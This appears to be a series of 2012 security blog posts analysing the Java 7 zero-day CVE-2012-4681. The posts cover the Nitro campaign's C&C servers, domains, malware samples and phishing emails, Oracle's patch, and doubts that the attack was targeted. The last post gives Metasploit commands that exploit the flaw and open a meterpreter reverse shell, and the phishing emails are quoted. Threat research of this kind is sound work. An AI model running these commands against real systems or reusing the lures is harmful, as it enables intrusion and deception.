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Java 0Day and the Targeted Nitro Attacks Campaign Analysis

Reverse Engineering, , ,

Symantec, Kaspersky Labs, Trend Micro, Sophos and other security vendors continue to surf on the Java 0day targeted attack stuff.

The vendors have agreed, in communion, that Java 0day was potentially used by the Chinese Nitro gang, through spear-phishing campaign. Nitro gang is well-known since another targeted campaign in 2011, reported by Symantec, focusing on organizations in the United States, Bangladesh and U.K.

Nitro gang, potentially the source of the newly discovered Java 0day, is using IP addresses and other characteristics that were common from the 2011 targeted attack, like the same C&C (223.25.233.244 for example) and the same files (“Flash_update.exe” for example).

For Kaspersky Labs, “the attacks have been going on for more than a week“. For Symantec, “the attackers have been using this zero-day for several days since August 22“. For Trend Micro, “Nitro attackers were continuing to send out emails to their targets with direct links to Poison Ivy executables in early August 2012“.

As all the vendors agree on the time frame and the source of the attack, we will take a  look on all information’s we can gather around this story.

First C&C server

The first known C&C was “223.25.233.244“, also used in the 2011 campaign. I reported in my previous blog post, that the IP address was well-known since many months. As you will see here under the C&c server is well-known, dropping lot of malwares, with various domain names.

All information’s gathered on this C&C server:

2012-04-18 – Malwr.com Analysis (2819365de89a5e07c2c20b2b462a3487): Analyzed file was “upgrade.exe“, with DNS request to “who.hzlo.net” aka “223.25.233.244“.

2012-04-20 – Malwr.com Analysis (156d00c795d6d2857fd49f570e894803): Analyzed file was “upgrade.exe“, with DNS request to “who.hzlo.net” aka “223.25.233.244“.

2012-04-24 – Malwr.com Analysis (af6d20abc953e18a84beac84ea87fce3): Analyzed file was “Flash_updata.exe” with DNS request to “who.hzlo.net” aka “223.25.233.244“.

2012-04-25 – Malwr.com Analysis (ac1066eeab14150e2ed20e88d8ca1acb): Analyzed file was “flash_updata.exe” with DNS request to “who.hzlo.net” aka “223.25.233.244“.

2012-06-21 – Malwr.com Analysis (d0d335fbc6d9fdbaf8a0af44ae2944c7): Analyzed file was “update.exe” with DNS request to “goodluck.betr.co” aka “223.25.233.244“.

2012-06-25 – URL Query Analysis (75475): Analyzed URL was “http://admin.fcph.org” aka “223.25.233.244“.

2012-06-26 – URL Query Analysis (75932): Analyzed URL was “http://admin.fcph.org” aka “223.25.233.244“.

2012-07-10 – URL Query Analysis (86487): Analyzed URL was “http://ok.icon.pk” aka “223.25.233.244“. Domain name used during the Java 0day discovery, coincidence ?

2012-07-11 – URL Query Analysis (87414): Analyzed URL was “http://domain.rm6.org” aka “223.25.233.244“.

2012-08-17 – Sophos Analysis (Troj/Agent-XNE): DNS request to “hello.icon.pk” and “admin.fcph.org” aka “223.25.233.244“.

2012-08-20 – Malwr.com Analysis (e2fc730981c1c9c55b961bbbd609c6d3): Analyzed file was “KB2690533.exe” with DNS request to “ok.icon.pk” aka “223.25.233.244“. Interesting “KB2690533.exe” binary name we will search later same occurrences.

2012-08-27 – Malwr.com Analysis (1360ac6d139f19d590bd3b05fa12c8c0): Analyzed file was “upgrade.exe” with DNS request to “admin.fcph.org” aka “223.25.233.244“.

2012-08-27 – URL Query Analysis (147268): Analyzed URL was “http://223.25.233.244“.

2012-08-27 – URL Query Analysis (147552): Analyzed URL was “http://wagoo.fcph.org” aka “223.25.233.244“.

2012-08-27 – Malwr.com Analysis (4a55bf1448262bf71707eef7fc168f7d): Analyzed file was “hi.exe“, the famous one, with DNS request to “ok.icon.pk” aka “223.25.233.244“.

2012-08-27 – Malwr.com Analysis (c0c81cf499136515e22f39e70ef78eec): Analyzed file was “antivirus.exe” with DNS request to “ok.icon.pk” aka “223.25.233.244“, and two HTTP requests to “http://ok.icon.pk/4213538n.txt” and “http://ok.icon.pk/4214189n.txt“.

First reported infected server

The first reported infected server was “ok.aa24.net” with “59.120.154.62” IP address. The related infection URL was “ok.XXXX.net/meeting/index.html” with malicious loaded “applet.jar“. The IP address is located in Singapore. I also reported, in my previous blog post, that the IP address was well known since many months.

Second reported infected server

The second reported, by Symantec the 30 August, infected server was “62.152.104.149“. The related infection URL was “62.152.104.XXX/public/meeting/index.html” with malicious loaded “applet.jar“. The IP address is located in Italia.

Until the 30 August, “index.html” file, present on the second infected server, was an obfuscated JavaScript charging the malicious Java 0day “applet.jar” aka “cve2012xxxx.Gondvv.class” and the Poison Ivy backdoor “Flash_update.exe“. The “index.html” file was part of Gondad exploit kit, like as for the first infected server.

URL Query report that “62.152.104.149” is known since the 2012-08-24 with the same malicious URL. The date is corresponding on the “Last modified” date reported by the infected server. All the files have the 2012-08-24 date, except “1.php“.

Screenshot taken the 29 August
Screenshot taken the 29 August

If you browse the server indexed directories, you can find a Rhino exploit “index.jar“, how is available since 2012-03-16.

Screenshot taken the 29 August
Screenshot taken the 29 August

I you continue to browse the directories, you can also find CVE-2010-3856 Linux exploit “glibc.sh“, used to backdoor the server. These files date are 2011-11-29.

Screenshot taken the 29 August
Screenshot taken the 29 August

As you have seen, all the screenshots were taken the 29 August. I have monitor the server and the files present in the “/public/meeting” directory have change the 30 August, with a new variant of “applet.jar” and some new files like “feq.html” (VirusTotal analysis / Malwr.com analysis). Malwr.com analysis reported a new C&C server aka “12.163.32.15“, how is actually down.

KB2690533.exe C&C dropped binary

The 20 August “KB2690533.exe” file was dropped, from the C&C server, and we can find some additional information’s regarding the file name.

2012-08-16 – URL Query Analysis (133150): Analyzed URL was “http://erp.claridy.com.tw/rndy/download.war/KB2690533.exe” aka “211.72.230.236“.

2012-08-17 – Cisco Threat Outbreak Alert: “significant activity related to spam e-mail messages that claim to contain a Security Update for the recipient”. What mean significant ? The spam e-mail message text is looking similar to the spam e-mail message reported by Trend Micro the 30 August. Coincidence, we will see that it is not a coincidence.

Subject: Security Update

 

Message Body:
Dear,
Because of the office network interfaces changed.Please download the Security Update fot windows XP (KB2690533),and install it. Download address: hxxp://www.microsoft.com/en-us/download/KB2690533.exe

Also the following Chinese web site is reporting some URLs the 2012-08-21 and we can find “http://erp.claridy.com.tw/rndy/download.war/KB2690533.exe“, “http://erp.claridy.com.tw/rndy/download.war/Flash_update.exe” and “http://haitimissionschool.org/updateflashplayer.exe“.

Spam e-email message reported by Trend Micro

In his blog post Trend Micro is reporting some typical spam e-mail message with direct links to Poison Ivy executable in early August 2012.

As you can see this email message is in the same style as the message detected by Cisco the 17 August.

If we search on the username string “alcoauser“, we can find some additional information’s:

2012-08-02 – Another Cisco Threat Outbreak Alert: “significant activity related to spam e-mail messages” with exactly the same content as the content provided by Trend Micro and we can find the “59.120.154.62” server where the 0day was discovered.

Other e-mail message spotted by a Chinese website

In his blog post Trend Micro is reporting another e-email how was spotted in April 2012.

Dear,
If you already have VPN installed on your computer, you’ll be asked to download and install update the next time you start VPN. Once the new update is installed, VPN should function normally.
Download and install the updated:http://www.cisco.com/vpn/upgrade.exe
You must have administrative privileges on your computer to install any VPN client. Please contact your desktop support staff if you need assistance. Morris Kristi
[email protected]

This e-mail message is in the same style as the previous e-mail messages. The malicious URL was “http://out.hzlo.net/update/upgrade.exe” with IP address “71.216.92.29“. This domain name and IP address were first spotted by ScumWare.orgthe 30 March. Another additional domain name was reported “http://adobe.flash-mail.tk/update/Flash_updata.exe” on the same server the 24 April.

“out.hzlo.net” domain name was spotted by 04 April by Clean MX realtime database, but if you take a look on the complete “*.hzlo.net” domain names, you can see that “http://jack.hzlo.net/download/antivirus.exe” was catched the 23 February !

More interesting, the characteristic of the Java 0day spreading was URL like “/public/meeting/index.html” or “/meeting/index.html“. Clean MX realtime database report this URL for the first time for “http://jack.hzlo.net/meeting/index.html” the 02 July.

Conclusion

If they’re was an active targeted Nitro campaign, this campaign has start during February 2012 with different infection vectors. The campaign has been catched many times by different security researchers and vendors, but nobody has raise the alert flag until end of August. I think that nobody has care on the pseudo earlier catched “targeted” campaign, and that the Java 0day was the alert flag.

Second opinion, I really think that the Java 0day was out for a minimum of 2 or 3 months before his public discovery.

And last but not least opinion, I still continue to believe that it was not so targeted as the vendors try to make us believe.

CVE-2012-4681 Vulnerability Patched in Out-of-Band Oracle Java Update

Vulnerability Management,

Oracle was under pressure since 26 August, release date of technical information’s and exploit code of the Oracle Java 0day consisting in two highly critical vulnerabilities.

Four days later Oracle has release an out-of-band security patch Java SE versions 7u7 (1.7.0_07) and 6u35 (1.6.0_35).

This out-of-band update correct 4 vulnerabilities, 3 of the 4 vulnerabilities have a base CVSS score of 10.0.

CVE-2012-4681, with a CVSS base score of 10.0, is one of the well known vulnerabilities of Java 7 0day and has been discovered by Adam Gowdiak of Security Explorations in April 2012. This vulnerability was affecting Java 7 Update 6 and before.

CVE-2012-1682, with a CVSS base score of 10.0. This vulnerability was affecting Java 7 Update 6 and before.

CVE-2012-3136, with a CVSS base score of 10.0. This vulnerability was affecting Java 7 Update 6 and before.

CVE-2012-0547, with a CVSS base score of 0.0. This vulnerability was affecting Java 7 Update 6 and before, Java 6 Update 34 and before.

But regarding Security Explorations they are still around 26 reported vulnerabilities how are open and with unknown impact.

By default installed Java is configured on automatic update notification, but this process is also configured by default to be activate only every Sunday at 9:00 PM. This elapse time will provide more times to bad guys…We highly recommend you to update asap your Java installation !

But unfortunately the new update Java 7 Update 7 contain a critical flaw, discovered 24 hours by Security Explorations after the release of the patch. This new discovered security flaw allows an attacker to bypass the Java security sandbox completely, making it possible to install malware or execute malicious code on affected systems. No details are actually public and no known exploit of the new flaw has yet been found in the wild. We could hope that this new security flaw will not be discovered by bad guys and that Oracle will patch them during his next release plan, the October 16.

Oracle Java 0day and the Myth of a Targeted Attack

Reverse Engineering, , , , ,

FireEye (@fireeye) were the first to speak around the Oracle Java 0day in a nice blog post “Zero-Day Season is Not Over Yet“. As they mentioned in the blog post it was just a matter of time that a PoC will be released. The tweet was dated from 9:26 PM – 26 August, 2012.

https://twitter.com/FireEye/status/239806161874993152

@jduck member of Metasploit team had sufficient information’s contained in this blog post to seek the mentioned infected domain “ok.xx4.net“, how was hosted in China with “59.xxx.xxx.62” IP address and running on “IceWarp/4.1” web server port 80/TCP or 443/TCP. A scan of around 20K servers and the juicy “applet.jar” was found 🙂 Less than 5 hours (2:01 AM – 27 August, 12) later a PoC was available, and less 24 hours later (11:36 AM – 27 August, 2012) the fully functional exploit was added to Metasploit. This exploit is working on Microsoft Windows with Internet Explorer, Firefox & Chrome, but also under Linux with Firefox running the latest version of Java SE 7.0.

https://twitter.com/_juan_vazquez_/status/240020063460143104

Lot of medias, antivirus companies have then try to sold us that this 0day was found in a “targeted” attack, you known the APT stuff.

etc.

But just a moment, why should all new discovered 0day be a part of a “targeted” attacks ? Just do some researches on the Oracle Java 0day origin.

The infected web server is “ok.aa24.net” with “59.120.154.62” IP address. If you take a look on robtex, you can see that the domain name is hosted by afraid.org, a free DNS hoster, involved in many past attacks. First fact, why a “targeted” attack will use a well-known domain name malware hoster ?

The IP address is hosting other domain names and this IP is also known as malware spreader since May 2012 (check SCUMWARE.ORG for all results for 59.120.154.62). Second fact, why a “targeted” attack will use a will know IP address as source of the attack ? You know that all security vendors are selling “reputation” blacklists stuff ?

If you take a look at all the results of SCUMWARE.ORG you can see well-known Trojan and downloaders (Trojan.Win32.Agent.srjf, Win32/Agent.PBJ trojan, Win32/Spindest.A trojan), etc. Third fact, why a “targeted” attack will use so bad malwares to infect a “targeted” target 🙂

Now we will take a look at the source code of “/meeting/index.html” page. Ok, ok, I admit the page is containing an obfuscated JavaScript 🙂 Then just deobfuscate this JavaScript (My pastebin deobfuscated code). We can find some interesting patterns in the JavaScript code like “xiaomaolv“, “woyouyizhixiaomaolv” and “conglaiyebuqi“. All these patterns are Mandarin and Putonghua transliterated pronunciation.

  • woyouyizhixiaomaolv – ??????? – I have a small donkey
  • conglaiyebuqi – ????? – Never played

If you do a simple search on Google, you will find that these stuff were presented at BlackHat USA 2010 in “Balancing the Pwn Trade Deficit“. So these patterns are known since 2 years minimum. Fourth fact, why a “targeted” attack will use known patterns, aren’t anti viruses only good to detect static patterns ? Also guys, not everything how is coming from China is a part of a big conspiracy against the world.

Ok, let continue to analyze the deobfuscated JavaScript code. We can find other interesting patterns like “Gondvv.class“, “gondady” and “gondad“. Here also a simple search on Google and you will find that this code is part a well-known exploit kit, “Gondad Exploit Kit“. Fifth fact, is a “targeted” attack using popular exploit kits ?

Now we will continue with the “hi.exe” file, located in “/meeting/hi.exe” folder. Through malwr.com malware service analysis, you can see that the malware is requesting for “hello.icon.pk” domain name, how is hosted on IP 223.25.233.244 located in Singapore. This malware is catched by 30 of 41 anti viruses on VirusTotal and the domain name is also hosted on afraid.org …. Still a “targeted” attack ?

Just a moment, shouldn’t we not try to download other potential malware hosted on this server ? For example “antivirus.exe“, “officeupdate.exe” and “upgrade.exe” discovered with SCUMWARE.ORG. All these malwares are still available on the infected server and are all detected by a minimum of 25 VirusTotal anti viruses. Still a “targeted” attack ?

Also, what is surprising is that the infected server is still online, shouldn’t a server involved in a “targeted” attack been shutdown by they’re sponsors if they are catched (remember Stuxnet, Flame, etc.) ?

Should I continue with the C&C server how is also known since some months ? I think I will stop here.

What I think, is that cve2012xxxx.Gondvv.class exploit is unique, that the time frame between the discovery and the weaponization of the 0day is also unique. But what I really don’t believe is that this 0day was used in targeted attacks…

More references on the doubt of this “targeted” attack:

Trend Micro – Java Runtime Environment 1.7 Zero-Day Exploit Delivers Backdoor

While some reports have gone on to say that this particular zero-day exploit might be used in targeted attacks, our analysis showed that this may not be the case. The sites where the exploit is hosted are known distributors of various malware. The server that BKDR_POISON.BLW connects to is also a known C&C used by malware. Targeted attacks are known to stay under the radar to successfully operate. The domains/IPs this attack use alone say that there was no intention of staying hidden.

Java 7 Applet RCE 0day Gondvv CVE-2012-4681 Metasploit Demo

Exploits, Metasploit,

Timeline :

Vulnerability reported to ZDI by James Forshaw (tyranid)
Vulnerability reported to the vendor by ZDI the 2012-07-24.
Vulnerability found exploited in the wild and discovered by Michael Schierl
First details of the vulnerability the 2012-08-26
Source code of the vulnerability provided by jduck the 2012-08-26
Metasploit PoC provided the 2012-08-27
Patched through out-of-band Oracle Security Alert for CVE-2012-4681 the 2012-08-30.

PoC provided by :

Unknown
jduck
sinn3r
juan vazquez

Reference(s) :

CVE-2012-4681
OSVDB-84867
BID-55213
Zero-Day Season is Not Over Yet
Java 7 0-Day vulnerability information and mitigation
ZDI-12-197
Oracle Security Alert for CVE-2012-4681

Affected version(s) :

Oracle JSE (Java Standard Edition) version 1.7.0_06-b24 and previous.

Tested on Windows XP Pro SP3 & Ubuntu 12.04 with :

Internet Explorer 8 & Firefox 14.0.1 & Chrome
Oracle JSE 1.7.0_06-b24

Description :

This module exploits a vulnerability in Java 7, which allows an attacker to run arbitrary Java code outside the sandbox. This flaw is also being exploited in the wild, and there is no patch from Oracle at this point. The exploit has been tested to work against: IE, Chrome and Firefox across different platforms.

Commands :

use exploit/multi/browser/java_jre17_exec
set SRVHOST 192.168.178.100
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.100
exploit

sysinfo
getuid

Windows 0day exploitation with Internet Explorer, Firefox and chrome :

Linux Ubuntu 12.04 exploitation with Firefox :